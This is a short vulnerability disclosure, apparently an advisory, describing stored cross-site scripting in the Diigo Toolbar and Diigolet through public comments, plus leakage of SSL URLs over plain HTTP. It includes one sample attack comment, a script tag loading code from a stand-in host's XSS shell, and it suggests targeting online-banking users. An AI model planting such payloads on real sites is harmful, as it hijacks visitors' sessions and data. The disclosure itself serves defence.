`Diigo Toolbar - Global XSS and Information Leakage in SSL URLs  
  
== Global XSS ==  
Diigo is (http://www.diigo.com/) a social bookmarking and sharing  
application which allows users to see other users comments and notes  
for every website. For this feature users should use Diigolet  
bookmarklet or Diigo Toolbar - http://www.diigo.com/tools. These are  
almost mandatory to use Diigo and almost all Diigo members have them  
installed.  
  
An attacker can do Cross-site Scripting in these public comments and  
that comment will affect any other user of Diigo Toolbar and Diigolet  
who visits the website. This means a Diigo user can backdoor any  
website in the internet easily with a permanent XSS and any other  
Diigo user who visits this website will be affected. Vulnerability  
exists in:  
* Diigo Toolbar for IE,  
* Diigo Toolbar for FF,  
* Diigolet for IE and FF,  
  
These comments will be injected into the current domain context, thus  
an attacker can execute a Javascript code in the target domain,  
Target URL can be over SSL as well. All Diigo tools users are affected  
from this vulnerability.  
  
For an attacker this is a perfect opportunity to use some XSS bot  
manager application such as XSS Shell, Also an attacker can attack  
high profile websites such as online banking applications. Considering  
you can search in shared bookmarks so you can actually people who uses  
a certain online banking application.  
  
Sample attack comment can be:  
<script src="http://example.com/xssshell/"></script>

== Information Leakage in SSL URLs ==  
Diigo toolbar is sending all SSL URLs to their servers over HTTP for  
shared comment feature, which might cause to leak session_ids over URL  
or any other sensitive information transferred over URL.

looks like considered as a feature not a bug.
